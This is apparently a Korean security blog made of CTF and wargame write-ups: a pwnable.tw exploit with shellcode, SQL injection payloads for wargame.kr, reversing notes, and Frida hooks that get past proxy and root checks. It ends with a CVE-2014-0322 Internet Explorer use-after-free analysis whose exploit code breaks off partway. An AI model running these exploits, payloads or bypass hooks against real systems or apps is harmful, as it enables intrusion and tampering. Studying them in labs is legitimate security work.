문자열을 push 로 스택에 밀어넣고 write 해주고, read 로 사용자에게 입력을 받은 후 add esp, 0x14 를 통해 exit 를 호출한다.


add esp, 0x14 의 주소를 무조건 호출하고 있기 때문에 read 를 통해 해당 주소까지 값을 입력해주면 원하는 주소로 eip 를 변경해줄 수 있다.






0x41414141 로 EIP 를 변조했으니 이제 원하는 코드를 실행시킬 수 있다. 보호기법은 없지만 스택주소가 랜덤으로 바뀌기 때문에 jmp esp 를 쓰거나 또는 leak 을 해야 한다. 



gdb-peda$ asmsearch "jmp esp"

Searching for ASM code: 'jmp esp' in: binary ranges

Not found


jmp esp 는 없으니 mov 를 이용해 leak 을 하자.



gdb-peda$ asmsearch "mov ?,esp"

Searching for ASM code: 'mov ?,esp' in: binary ranges

0x08048087 : (89e1) mov    ecx,esp



해당 코드는 write 직전의 코드이기 때문에 결국 esp 를 ecx 에 넣고 write 콜을 해서 스택 주소를 leak 할 수 있다.


  



그리고 또 이어서 아래의 read 를 통해 두번째 입력을 해 줄 수 있다.


 이제 릭을 해온 스택 주소를 이용해서 버퍼주소로 ret 를 덮어주면 공격에 성공할 수 있다



# ex_start.py

#!/usr/bin/python from pwn import * # set context context(arch='i386',os='linux') # print info log.info("[*] pwnable.tw (start) exploit by hyunmini") # load and connect #r = remote("127.0.0.1",8000) r = remote("chall.pwnable.tw",10000) e = ELF('./start') rop = ROP(e) ### stage 0. leak stack addr log.info(" stage 0. leak stack address") leakgadget = p32(0x8048087) # mov ecx, esp / write syscall => leak stack addr payload0 = asm('nop')*20 payload0 += leakgadget r.recvuntil(':') r.send(payload0) leakaddr = u32(r.recv(4)) log.success(" leak addr : 0x"+hex(leakaddr)) ### stage 1. exploit log.info(" stage 1. exploit!") # make payload #shellcode = asm(shellcraft.dupsh(4)) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" payload1 = asm('nop')*20 payload1 += p32(leakaddr+20) payload1 += shellcode r.sendline(payload1) log.success(" [+] Success!! got shell") r.interactive()



끝~

'wargame > pwnable.tw' 카테고리의 다른 글

pwnable.tw - start [100 pts]  (0) 2018.01.05


영어 공부삼아 심심풀이로 영어 기술문서 번역을 해 보려고 합니다. 여기서 작업하다 완성되면 PDF 로~


======================================================




브라우저 부수기 : 취약점 발견부터 Exploit 까지



Chen Zhang (@demi6od) 

NSFOCUS Security Team 

demi6d@gmail.com 

https://github.com/demi6od Date: 2014 August 28 th





1. 브라우저 퍼징 기술 


1.1  요약 


  이번 장에서는 먼저 제가 개발한 퍼저 프레임워크(StateFuzzer)와 그 안의 퍼징 전략들을 소개합니다. 그리고 퍼징결과를 기반으로 관련 취약점과 효율적인 퍼징 아이디어에 대해 이야기를 나눌 것입니다. 




1.2 브라우저 퍼징 소개


 1.2.1 취약점 발견 

  

   1. 화이트박스

       코드 리뷰

           예제 1: MWR labs 

                      Chrome type confusion, static_cast (CVE-2013-0912) 

           예제 2: Pinkie Pie 

                      2012 Pwnium (6 different bugs escape Chrome sandbox) 

                      2013 Mobile Pwn2Own (integer overflow) 

       자동화된 코드 리뷰 

           Fortify source code analyzer 

           Rough auditing tool for security (RATS) 


   2. 블랙박스

       퍼징 


 1.2.2 Browser Fuzzing Technology 

   

   1. 정적 퍼저 - HTML 과 Javascript 테스트 케이스를 생성

     1) Krakow Labs 에서 개발한 bf3 와 같이 flash 등의 수집된 멀티미디어 문서 템플릿을 기반으로 변형 

     2) 브라우저 스펙에 기반한 생성

reversing.kr - CSHARP

2017.10.25 00:54


reversing.kr CSHARP



C# 리버싱 문제다. 근데 툴로 디컴파일이 제대로 안된다. 쉽게 풀지 못하도록 해 둔 듯 하다. 






이 말은 반대로 디컴파일이 제대로 되지 않는 함수만 분석하면 된다는 뜻과 같다. 


보통 이런 문제는 동적 호출 등으로 실행 중에는 보여지도록 하는 경우가 많으니 디버깅을 하면서 살펴보려 했으나...


당 함수가 호출도 안되고 디버깅이 제대로 되지 않아 처음에 사알짝 헤맸다.




 자세히 살펴보니 method reflection (동적 호출) 을 하고 있어 디버깅이 되지 않는 것으로 확인했다.








.ctors 를 살펴보니 동적 호출하는 함수의 특정 바이트를 조작해주는 부분이 있었다. 





이 부분에 브레이크 포인트를 걸고 확인해 보자. 디컴파일이 되지 않던 메소드(MetMett, 동적으로는 Form1.bb) 의 바이트들을 전부 바꿔주는 것을 확인할 수 있다.



dnspy 에서는 어셈으로만 바꿔줄 수 있고 바이트 코드를 바로 고칠수가 없어서 그냥 헥스에디터 열어서 직접 바이트를 고쳐줬다.



위는 고치기 전, 아래는 바이트 코드를 실제 동적으로 수행되는 코드로 변경해준 상태.(디컴파일 잘된다 우왕)



이제 코드를 보고 키값을 코딩으로 뽑아주면 끝~



끝~!!


'wargame > reversing.kr' 카테고리의 다른 글

reversing.kr - CSHARP  (1) 2017.10.25
Reversing.kr - replace  (0) 2017.10.23
  1. Hakcer 2018.01.07 01:26 신고

    안녕하세요, 문제 풀다가 모르는 게 생겨서 질문들 비니다.. 브레이크 포인트를 걸고 나서 Local 창을 보면 사진과 다르게 나오더라고요... 어떻게 bb에 대해 나왔는지 여쭤봐도 될까요..?






C# 프로그램 리버싱인듯 하다. 얼마전 악성코드 분석하다 알게된 툴 중 닷넷 관련 괜찮은 디버거&디컴파일러를 찾았다. 

dnspy 라는 툴인데, 무료임에도 불구하고 유료 버전 툴보다 UI 도 예쁘고 디컴파일도 잘 된다. 게다가 디버깅도 쉽게 된다. 

아마 앞으로 이 툴만 쓰게 될 듯 하다.



제목이 cryto 라서 살짝 겁먹었으나 몇 분 안 걸려서 풀었다. basic 이니까...


dnspy 로 디컴파일 해서 보니 소스코드는 매우 짧았다.




핵심은 저 노란줄이다. name 은 BluSH4G 여야 하고, password 는 myEncrypt 를 거친 후의 암호화된 값과 어떤 값을 비교한다. 


우선 myEncrypt 를 살펴보자.



아주 깔끔하게 암호화 방식, key, iv 를 모두 보여주고 있다. DES 이니 그대로 그냥 코드만 짜면 된다.


암호화된 값과 비교하는 값을 만들어 주는 함수를 살펴보면 아래와 같이 워게임 서버에서 받아온다. n 은 name 이다.




접속해보면 아래와 같은 암호화된 값을 뿌려주는 것을 볼 수 있다. 위에서 확인한 암호화 함수를 이용하여 복호화 함수를 만들어서


아래 값을 복호화 하면 끝인듯 하다.


파이썬 몇줄로 간단하게 샤샤샥



C:\> dec.py

key is ********~~~


풀이 끝~



'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06

Reversing.kr - replace

2017.10.23 22:59


reversing.kr - replace 문제 


reversing.kr 문제입니다. 간단하게 요점만 정리.


다이얼로그에서 사용자에게 입력값을 하나 받고, Correct 와 Incorrect 를 출력해준다.(에러 발생)


IDA로 살펴보면 어셈코드로 점프와 콜을 몇 번 해놔서 디컴파일 소스는 좀 이상하게 보인다.




한줄씩 디버거로 트레이싱 해보면, 결국 특정 코드에서 에러가 나는데, 아래처럼 특정 주소값을 0x90 으로 채우려다 에러가 난다.


주소값은 입력값 +1 을 해주면  +1 이 되는 것으로 보아, 결국 저 값으로 뭔가 조작하면 됨을 알 수 있다.


좀 더 분석해보면, correct 출력해주는 부분이 끊어져 있는데, 바로 위의 jmp 어셈블리어 때문이다. 


해당 어셈블리어를 0x90(nop) 로 덮어쓰도록 해주면 답이 나온다. 


계산은 12345 를 입력해 본 뒤 주소값 확인 후 0x100401071 - 0x60163604 + 12345 해주면 된다.




'wargame > reversing.kr' 카테고리의 다른 글

reversing.kr - CSHARP  (1) 2017.10.25
Reversing.kr - replace  (0) 2017.10.23



이번 문제도 SQL인젝션 문제라고 한다. 역시 친절하게도 Simple SQLi (blind) 문제라고 알려준다.


채팅을 웹으로 구현해 놓았는데, 페이지 수가 2개인가 밖에 없어서 취약점은 쉽게 찾을 수 있다.


몇번 입력 후 chatview.php 페이지에 취약점이 존재함을 확인했다.




  /web_chatting/chatview.php?t=1&ni=30215{인젝션}





 그런데~~ 인젝션 중 특정 조건이 되면 전체 쿼리를 다 가져오려고 시도해서 응답이 매우매우 느려진다.

(문제 힌트에서 개발자 관점으로 부하를 줄여보라는 걸 보니 일부러 그렇게 구현해 놓은듯)


잠시 고민하다가, 아래처럼 해결했다.


/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=1+then+2+else+1+end)

/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=2+then+2+else+1+end)


계산 후 ni 값이 바뀌기 때문에 가져오는 대화 내용이 다르다. 늘 사용하던 스크립트로 샤샥



db 잘 가져오는걸 보니 이제 flag 가 있는 테이블만 찾으면 될 듯 하다.


테스트 해보니 ' 는 막혀있기 때문에 아래처럼 like 구문을 이용했다. mysql, information_schema 가 아닌 테이블(=사용자 테이블),칼럼명 조회




select concat(table_name,char(0x2c),column_name) 


from information_schema.columns 


where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and 

           table_schema not like 0x6d7973716c and 

           table_name not like 0x636861745f6c6f67 limit 1





해당 테이블을 조회하면 flag 가 들어있었다. 끝.

'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06

한동안 문제 안풀었더니 감이 떨어진듯 하여 문제 풀이 시작.



simpleboard 


simple SQL인젝션 문제. union 인젝션이라고 대놓고 알려주는데, 스크립트가 필요할 거라고 한다.(없이 풀었..)






게시판이다. 소스를 보면 아무런 필터가 없으므로 그냥 union 인젝션이 가능하다.


idx=1 union select 1,2,3,4--




테이블명을 group_concat(table_name) 으로 이것저것 뽑아보다가 admin 관련 테이블이 없는지 확인해보려고 %adm% 을 넣었는데


readme 테이블이 얻어걸림 -_-;





escape_string 함수 때문에 ' 문자가 \' 으로 변경되므로 우회를 위해 0x7217273~~ 와 같은 식으로 써주면 된다.


-1 union select (select group_concat(column_name) from information_schema.columns where table_name like 0x726561646d6525),2,3,4-- 


update 쿼리에서 에러나지 않도록 cookie 체크 하는 부분에도 동일하게 넣어줘야 함. 끝.

 



'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06


 가끔 앱해킹을 하다보면 특이한 환경 때문에(난독화 등) 사용자 일반 함수를 후킹해야 할 때가 있다.

 When I analysis app, need a hook at user function sometimes in an unusual environment(obfuscation, check jailbreak, etc).



 이럴때 Frida 를 이용해서 후킹이 가능하다. 

 In this case, frida can be used to hook.

 


 후킹은 일반적으로 함수 주소를 구해오는데, 사용자 함수는 심볼이 없으므로 offset 을 동적으로 구해와야 한다.

 Hooking is usually set to function address, the user function must obtain the offset dynamically because there are no symbols.



 결론 : 앱 실행 후 base 주소를 얻고, offset 을 더해준 주소에 후킹을 걸어주면 된다.

 conclusion: after running the app, obtain the base address and add the offset. then you can set a hook to the address.

 

var module_base = Module.findBaseAddress('testapp');  // get base addr
var custom3_5fdfd4 = module_base.add(0x5fdfd4);   // add function offset

 Interceptor.attach(custom3_5fdfd4, {   // set hook
    onEnter: function (args) {
        send("[S] !!!!!!!!!!!!!! custom3() called");  // before call
    },
    onLeave: function (retval) {
        //send("[W] custom3 ret: " + retval.toString() );  // after call
    }
});


 끝~

 the end~

'iOS App Hacking' 카테고리의 다른 글

ios 앱 사용자 함수 hooking (using frida)  (2) 2017.08.16
ios app 복호화 - Clutch 2.x 버전  (0) 2017.02.14
iOS App Debugging - LLDB  (1) 2015.08.18
iOS App Runtime 조작  (0) 2015.08.17
  1. kkk 2017.09.19 17:23 신고

    안녕하세요.
    질문이 있습니다.

    두번째 줄의 offset 값은 어떻게 구하나요?

    • BlogIcon hyunmini 2017.09.26 10:32 신고

      IDA 에서 분석 후에 후킹할 사용자 함수와 Base 주소의 거리를 계산해 주면 됩니다.

      후킹할 주소 - Base주소 = offset



모바일 앱중 proxy 체크를 할때, frida 를 이용해서 우회하기.

bypass proxy check on android device(using frida hooking)



var System = Java.use("java.lang.System"); if (System.getProperty){ System.getProperty.overloads[0].implementation = function(prop){ send("[S] called : system.getProperty("+ prop.toString() +")") if (prop.toString().toLowerCase().indexOf("proxy") > -1){ send("[W] bypass proxy check : " + prop); return; } var ret = this.getProperty(prop); send("[W] ret value : " + ret.toString()); return ret; } }




자주 느끼는 거지만 프리다 참 좋다.

frida is awesome!

  1. r 2017.08.10 17:07 신고

    프리다 예전에 써봤다가 버그가 조금 있는 것 같아서 한동안 안썼었는데 다시한번 써봐야겠습니다.

    감사합니다

  2. oh 2017.08.11 14:36 신고

    프리다 저도 몇일전에 알게됐는데 엄청 짱인거같습니다.
    근데 관련자료가 많이없네요 ㅠㅠ

    prida 이용해서 안드로이드 후킹하려고하는데 자바 예제 많이 볼수있는 곳은 없을까요??

    • BlogIcon hyunmini 2017.08.17 10:24 신고

      주로 중국 포털(바이두 등)쪽에 자료가 그나마 있습니다. 최근에는 그래도 이런저런 자료가 많이 올라오고 있네요~ appmon 프로젝트도 검색해서 소스 보시구요~

  3. 2018.03.29 20:41

    비밀댓글입니다


최근에는 주로 모바일 앱 후킹시 frida 를 이용하고 있는데, 안드로이드 느린 앱을 후킹하려고 하다 보면 가끔 아래처럼 


타임아웃 메시지가 나오며 죽어버리는 경우가 있다.


이 경우 해결방법.



 hyunmini:02.dbi $ python dbi.py

Traceback (most recent call last):

  File "dbi.py", line 73, in <module>

    main(target_process)

  File "dbi.py", line 54, in main

    pid = frida.get_usb_device().spawn([target_process])

  File "/Library/Python/2.7/site-packages/frida/core.py", line 85, in spawn

    return self._impl.spawn(argv)

frida.TimedOutError: unexpectedly timed out while waiting for app to launch




...

pid = frida.get_usb_device().spawn([target_process])

...



앱 실행하는 위 코드에 timeout 인자값을 주면 됨(;;)



...

pid = frida.get_usb_device(timeout=10).spawn([target_process])

...



이제 잘 된다.


 hyunmini:02.dbi $ python dbi.py


>>>> Start Native Hooking <<<<

[+] find open() address: 0xf6fda1af

[+] find fopen() address: 0xf6ff658d

[+] find access() address: 0xf6fd7d65

[+] find stat() address: 0xf6fdb125

[+] find strcasecmp() address: 0xf6ffd39d

[+] find strcmp() address: 0xf6fd66dc

[!!] Starting Java Hooking...

Runtime.loadLibrary: soundpool

Runtime.loadLibrary: authmanager

Runtime.loadLibrary: webviewchromium

Runtime.loadLibrary: webviewchromium_plat_support

Runtime.loadLibrary: NS*****

Runtime.loadLibrary: ap1.7.8

Runtime.loadLibrary: a****

[+] Hooking /data/app/com.*****-1/lib/arm/lib****.so!****1


[*]  bypass rooting check : called - *****()





아래 공개된 Exploit 코드를 참고 했습니다.


http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/


단, 공개된 calc 파일 생성 Exploit 이 아닌 약간의 수정을 거친 코드입니다.(modified by hyunmini)


================================================================================================



위의 게시물에도 적혀있듯이, CVE-2014-0322 + Godmode Exploit 을 이해하려면 생각보다 많은 추가 지식이 필요 하다.




앞에서 Int32Array 객체의 length 를 변조하여(00 00 00 16 => 20 00 00 16)  1 byte 변조 만으로 info leak 및 ASLR 우회가 가능함을 확인했다.


CVE-2014-0322 취약점(inc 1 byte Use-After-Free)을 이용하면 1 바이트 증가시킬 수 있다. 이를 이용하여 DEP/ASLR 을 우회하여 공격이 가능하다.







#### CVE-2014-0322 분석 ####



C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe +ust +hpa


Current Registry Settings for iexplore.exe executable are: 02001000

    ust - Create user mode stack trace database

    hpa - Enable page heap




<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> // 최신 브라우저로 동작하도록 해줌. 호환성모드 무시하고 동작하도록 해줌 </head> <body> <script> function handler() { this.outerHTML = this.outerHTML; // free } function trigger() { var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); } trigger(); </script> </body> </html>





(578.8a8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=254ccfa0 ecx=77d463e0 edx=00171078 esi=2b652cc0 edi=2556cfc8

eip=6307100c esp=0a67b540 ebp=0a67b5a8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:2b652d38=????????




0:013> dd esi          // dangling pointer (uaf)

2b652cc0  ???????? ???????? ???????? ????????

2b652cd0  ???????? ???????? ???????? ????????

2b652ce0  ???????? ???????? ???????? ????????




0:013> !heap -p -a 2b652d38


    address 2b652d38 found in

    _DPH_HEAP_ROOT @ 171000

    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

                                   2b710f08:         2b652000             2000

    6e2c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2

    77db69d4 ntdll!RtlDebugFreeHeap+0x0000002f

    77d79e5b ntdll!RtlpFreeHeap+0x0000005d

    77d46416 ntdll!RtlFreeHeap+0x00000142

    763bc584 kernel32!HeapFree+0x00000014

    62ee8f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026

    62eb55da MSHTML!CBase::SubRelease+0x0000002e

    62ee4183 MSHTML!CMarkup::Release+0x0000002d

    632b14d1 MSHTML!InjectHtmlStream+0x00000716                   // CMarkup 해제하는 함수 호출함

    632b1567 MSHTML!HandleHTMLInjection+0x00000082

    632acfec MSHTML!CElement::InjectInternal+0x00000506

    632ad21d MSHTML!CElement::InjectTextOrHTML+0x000001a4

    6319ea80 MSHTML!CElement::put_outerHTML+0x0000001d   //  this.outerHTML = this.outerHTML;

    634a309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054

    6dee847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185

    6dee92c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf

    6df46c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8

    6df1c53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf

    6dee5cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305







#### UAF 객체 확인하기 ####



0:013> bp mshtml + 0x22100c

0:013> .restart    // 재시작 후 아무거나 클릭 


0:012> r

eax=00000000 ebx=079b2158 ecx=cd160735 edx=00000000 esi=0c87f9a8 edi=0cbef9f8

eip=6307100c esp=048ea760 ebp=048ea7c8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:0c87fa20=00000002



0:012> !heap -p -a esi

    address 0c87f9a8 found in

    _HEAP @ 3a0000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        0c87f9a0 0069 0000  [00]   0c87f9a8    00340 - (busy)

          MSHTML!CMarkup::`vftable'




객체 크기는 0x340 이며, CMarkup 임을 알 수 있다.



 

0:012> dd esi

0c87f9a8  62e74a18 00000001 00000000 00000008

0c87f9b8  00000000 00000000 00000000 00000000

0c87f9c8  00000000 00000000 00000000 00000000


0:012> dds poi(esi)    // VFTable 확인 => CMarkup 객체 

62e74a18  630275f0 MSHTML!CMarkup::PrivateQueryInterface

62e74a1c  62e901e0 MSHTML!CMarkup::PrivateAddRef

62e74a20  62e901bd MSHTML!CMarkup::PrivateRelease

62e74a24  634aa3cd MSHTML!CBase::PrivateGetTypeInfoCount


이로써 해제된 CMarkup 객체를 다시 사용하려다 발생하는 UAF 임을 알 수 있다.





객체는 일반적으로 reference count 가 0 이 되면 해제되는데, 관련된 메소드들은 아래와 같다.


0:026> x mshtml!cmarkup::*ref

62ee5aec          MSHTML!CMarkup::ElementAddRef (<no parameter info>)

62e901e0          MSHTML!CMarkup::PrivateAddRef (<no parameter info>)

62ee41b9          MSHTML!CMarkup::AddRef (<no parameter info>)


0:026> x mshtml!cmarkup::*release

62e901bd          MSHTML!CMarkup::PrivateRelease (<no parameter info>)

62ee414a          MSHTML!CMarkup::Release (<no parameter info>)

6308f9ef          MSHTML!CMarkup::ElementRelease (<no parameter info>)


하지만 addref 와 release 가 너무 많이 호출되서 저것만으론 분석이 어려움. 







그래서  mshtml!CMarkup::CMarkup, mshtml!CMarkup::~CMarkup  으로 분석


분석을 위해 다들 하는 대로 atan2 함수를 이용했다. 분석 전에 처음에 설정해둔 디버깅용 힙 플래그를 해제해 주어야 한다.

(해제하지 않으면 LFH 가 활성화 되지 않아 메모리를 원하는 위치에 다시 할당할 수 없다)


C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe -ust -hpa


<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <script> var array = []; var array_len = 0x250; function createString(character, size) { while (character.length < size) { character += character; } return character.substr(0, (size - 6) / 2); } function handler() { Math.atan2(0xabcd, "[*] Start Handler"); this.outerHTML = this.outerHTML; // free var data = createString("A", 0xac + 0x6); data += unescape("%u4344%u4142"); data += createString("C",0x340); test = data.substr(0, (0x340-6) /2); for (var i=0;i<array_len;i++){ array[i] = document.createElement("button"); array[i].title = test; } Math.atan2(0xabcd, "[*] End Handler"); } function trigger() { Math.atan2(0xabcd, "[*] Trigger Start..."); var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); // use Math.atan2(0xabcd, "[*] Trigger End..."); } trigger(); </script> </body> </html>





0:020> sxe ld jscript9.dll    // jscript9 로드시 break


(238.734): Unknown exception - code 000006ba (first chance)

ModLoad: 6ded0000 6e196000   C:\Windows\System32\jscript9.dll

eax=12217000 ebx=00000000 ecx=00201000 edx=00000000 esi=7ff9f000 edi=09e18e5c

eip=77d36c74 esp=09e18d74 ebp=09e18dc8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246

ntdll!KiFastSystemCallRet:

77d36c74 c3              ret

0:020> g



# 브레이크 포인트 설정


더 자세한 분석을 하고 싶다면 kb 10 등의 콜스택 명령을 추가해서 각각의 할당과 해제 루틴을 분석하면 된다.


0:012> bu jscript9!Js::math::atan2 ".printf \"log : %mu\", poi(poi(esp+14)+c);.echo;g"

0:012> bu mshtml!CMarkup::CMarkup ".printf \"Alloc CMarkup %p\", @esi;.echo;g;"

0:012> bu mshtml!CMarkup::~CMarkup ".printf \"Free CMarkup %p\", @ecx;.echo;g;"

0:012> g


log : [*] Trigger Start...

log : [*] Start Handler

Alloc CMarkup 121d2cc0

Free CMarkup 121d2cc0

log : [*] End Handler

Alloc CMarkup 14dfccc0

log : [*] Start Handler

Alloc CMarkup 1423ecc0

Free CMarkup 1423ecc0

Free CMarkup 14dfccc0

log : [*] End Handler


(504.75c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=14e0cfa0 ecx=77d463e0 edx=00061078 esi=14dfccc0 edi=13319fc8

eip=6307100c esp=0967b370 ebp=0967b3d8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:14dfcd38=????????


handler() 내부, 즉 this.outerHTML = this.outerHTML; 에 의해서 객체가 해제된다는 것을 확인할 수 있다. 

그리고 Trigger End 가 출력되기 전에 에러가 발생한 것으로 보아 appendChild() 에서 use(after free) 한 것으로 볼 수 있다.

 b = a.appendChild(b);




이제 uaf 분석은 끝났고, 객체 크기(0x340 도 알고 있으니 정확한 크기를 할당하여 LFH 를 이용하면 해제된 메모리에 


원하는 값을 다시 할당해줄 수 있다. 현재 버전의 IE 는 isolated heap, protected memory(delayed heap) 이 적용되기 이전이므로 


그냥 아래와 같이 할당만 해주면 된다. 


var data = createString("A", 0xac + 0x6);
    data += unescape("%u4344%u4142");
    data += createString("C",0x340);

    test = data.substr(0, (0x340-6) /2);

    for (var i=0;i<array_len;i++){
        array[i] = document.createElement("button");
        array[i].title = test;
    }




이제 브레이크포인트를 해제하고, .restart 로 재시작을 해 보자.


eax=41424344 ebx=046ac718 ecx=00000191 edx=05cdcd10 esi=05cdcd10 edi=04746bc0

eip=630d1b97 esp=04a1b4ac ebp=04a1b518 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206

MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:

630d1b97 ff4010          inc     dword ptr [eax+10h]  ds:0023:41424354=????????


eax 의 값이 할당된 곳을 확인해 보자.


0:011> u @eip-d  l  10

MSHTML!CMarkup::UpdateMarkupContentsVersion+0x9:

630d1b8a 89427c          mov     dword ptr [edx+7Ch],eax

630d1b8d 8b82ac000000    mov     eax,dword ptr [edx+0ACh]   // eax 할당

630d1b93 85c0            test    eax,eax

630d1b95 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (630d1b9a)

630d1b97 ff4010          inc     dword ptr [eax+10h]   // crash

630d1b9a 8b8a94000000    mov     ecx,dword ptr [edx+94h]

630d1ba0 33c0            xor     eax,eax

630d1ba2 85c9            test    ecx,ecx

630d1ba4 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28 (630d1ba9)

630d1ba6 8b410c          mov     eax,dword ptr [ecx+0Ch]

630d1ba9 83b8c001000000  cmp     dword ptr [eax+1C0h],0

630d1bb0 7427            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x50 (630d1bd9)

630d1bb2 33c0            xor     eax,eax

630d1bb4 85c9            test    ecx,ecx

630d1bb6 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x3a (630d1bbb)

630d1bb8 8b410c          mov     eax,dword ptr [ecx+0Ch]


0:011> dd edx+ac

05cdcdbc  41424344 00430043 00430043 00430043

05cdcdcc  00430043 00430043 00430043 00430043

05cdcddc  00430043 00430043 00430043 00430043

05cdcdec  00430043 00430043 00430043 00430043

05cdcdfc  00430043 00430043 00430043 00430043

05cdce0c  00430043 00430043 00430043 00430043

05cdce1c  00430043 00430043 00430043 00430043

05cdce2c  00430043 00430043 00430043 00430043

0:011> r


이제 원하는 값을 +1 해줄 수 있음을 확인했다.




위 trigger() 함수를 이용해서 int32array 의 길이값, rawbuffer 주소를 변조하고, 프로세스 전체 접근 권한을 얻는다.


이후에는 int32array 읽기/쓰기 함수를 이용해서 jscript, mshtml 주소값과 목표 vtable 주소를 얻고,


최종적으로 godmode 를 켜준다.


전체 Exploit 코드는 아래와 같다.


<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script language="javascript">

    var array = [];
    var array_len = 0x250;

    function getFiller(n) { return new Array(n + 1).join("a"); }

    function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000);}

    function handler() {
        this.outerHTML = this.outerHTML; // free

        var data = getFiller(0x94 / 2) + getDwordStr(0xc0af010) +
                   getFiller((0xac - (0x94 + 4)) / 2) + getDwordStr(0xc0af00b) +
                   getFiller((0x1a4 - (0xac + 4)) / 2) + getDwordStr(0x11111) +
                   getFiller((0x340 - (0x1a4 + 4)) / 2 - 1);

        test = data.substr(0, (0x340 - 6) / 2);
        // Fake Object -> LFH (size: 0x340)
        for (var i = 0; i < array_len; i++) {
            array[i] = document.createElement("button");
            array[i].title = test;
        }
    }

    function trigger() {
        var a = document.getElementsByTagName("script")[0];
        a.onpropertychange = handler;
        var b = document.createElement("div");
        b = a.appendChild(b); // use
    }

    (function() {
        // clear memory
        CollectGarbage();

        a = new Array();
        for (i = 0; i < 0x200; ++i) {
            a[i] = new Array(0x3c00);
            if (i == 0x80)
                buf = new ArrayBuffer(0x58); 
            for (j = 0; j < a[i].length; ++j)
                a[i][j] = 0x123;
        }
        for (; i < 0x200 + 0x400; ++i) {
            a[i] = new Array(0x3bf8)
            for (j = 0; j < 0x55; ++j)
                a[i][j] = new Int32Array(buf)
        }
        // inc * 0x20  : 0x0c0af01b(00->20)
        // 00 00 00 16 -> 20 00 00 16
        for (var k = 0; k < 0x20; ++k) {
            trigger();
        }

        //alert("Set byte at 0c0af01b to 0x20"); 

        // find modified Int32Array
        int32array = 0;
        for (i = 0x200; i < 0x200 + 0x400; ++i) {
            for (j = 0; j < 0x55; ++j) {
                if (a[i][j].length != 0x58 / 4) {
                    int32array = a[i][j];
                    break;
                }
            }
            if (int32array != 0)
                break;
        }

        if (int32array == 0) {
            //alert("Can't find int32array!");
            window.location.reload();
            return;
        }

        // validate memory array
        //   to get buf_addr
        var vftptr1 = int32array[0x60 / 4],
